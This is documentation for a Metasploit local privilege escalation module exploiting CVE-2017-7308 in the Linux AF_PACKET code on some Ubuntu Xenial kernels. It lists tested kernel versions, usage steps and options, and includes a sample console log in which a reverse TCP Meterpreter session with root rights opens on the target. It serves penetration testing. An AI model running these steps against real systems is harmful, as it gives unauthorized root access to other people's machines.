## Description

  This module exploits a heap-out-of-bounds write in the `packet_set_ring`
  function in `net/packet/af_packet.c` (`AF_PACKET`) in the Linux kernel
  to execute code as `root` (CVE-2017-7308).

  The bug was initially introduced in 2011 and patched in version 4.10.6,
  potentially affecting a large number of kernels; however this exploit
  targets only systems using Ubuntu Xenial kernels 4.8.0 < 4.8.0-46,
  including Linux distros based on Ubuntu Xenial, such as Linux Mint.

  The target system must have unprivileged user namespaces enabled and
  two or more CPU cores.

  Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation
  may crash the kernel.


## Vulnerable Application

  This module has been tested successfully on Linux Mint 18 (x86_64)
  with kernel versions:

  * 4.8.0-34-generic
  * 4.8.0-36-generic
  * 4.8.0-39-generic
  * 4.8.0-41-generic
  * 4.8.0-42-generic
  * 4.8.0-44-generic
  * 4.8.0-45-generic


## Verification Steps

  1. Start `msfconsole`
  2. Get a session
  3. `use af_packet_packet_set_ring_priv_esc`
  4. `set SESSION [SESSION]`
  5. `check`
  6. `run`
  7. You should get a new *root* session


## Options

### SESSION

  Which session to use, which can be viewed with `sessions`

### WritableDir

  A writable directory file system path. (default: `/tmp`)

### COMPILE

  Options: `Auto` `True` `False` (default: `Auto`)

  Whether the exploit should be live compiled with `gcc` on the target system,
  or uploaded as a pre-compiled binary.

  `Auto` will first determine if `gcc` is installed to compile live on the system,
  and fall back to uploading a pre-compiled binary.


## Scenarios

  ```
  msf > use exploit/linux/local/af_packet_packet_set_ring_priv_esc 
  msf exploit(linux/local/af_packet_packet_set_ring_priv_esc) > set session 1
  session => 1
  msf exploit(linux/local/af_packet_packet_set_ring_priv_esc) > run
  
  [*] Started reverse TCP handler on 172.16.191.188:4444 
  [*] Writing '/tmp/.ZxgWSP2O1.c' (19378 bytes) ...
  [*] Writing '/tmp/.jfPl4uPX2' (207 bytes) ...
  [*] Launching exploit...
  [*] Sending stage (857352 bytes) to 172.16.191.207
  [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.207:41882) at 2018-04-27 19:55:21 -0400
  [+] Deleted /tmp/.ZxgWSP2O1.c
  [+] Deleted /tmp/.ZxgWSP2O1
  [+] Deleted /tmp/.jfPl4uPX2
  
  meterpreter > getuid
  Server username: uid=0, gid=0, euid=0, egid=0
  meterpreter > sysinfo
  Computer     : 172.16.191.207
  OS           : LinuxMint 18 (Linux 4.8.0-45-generic)
  Architecture : x64
  BuildTuple   : i486-linux-musl
  Meterpreter  : x86/linux
  ```

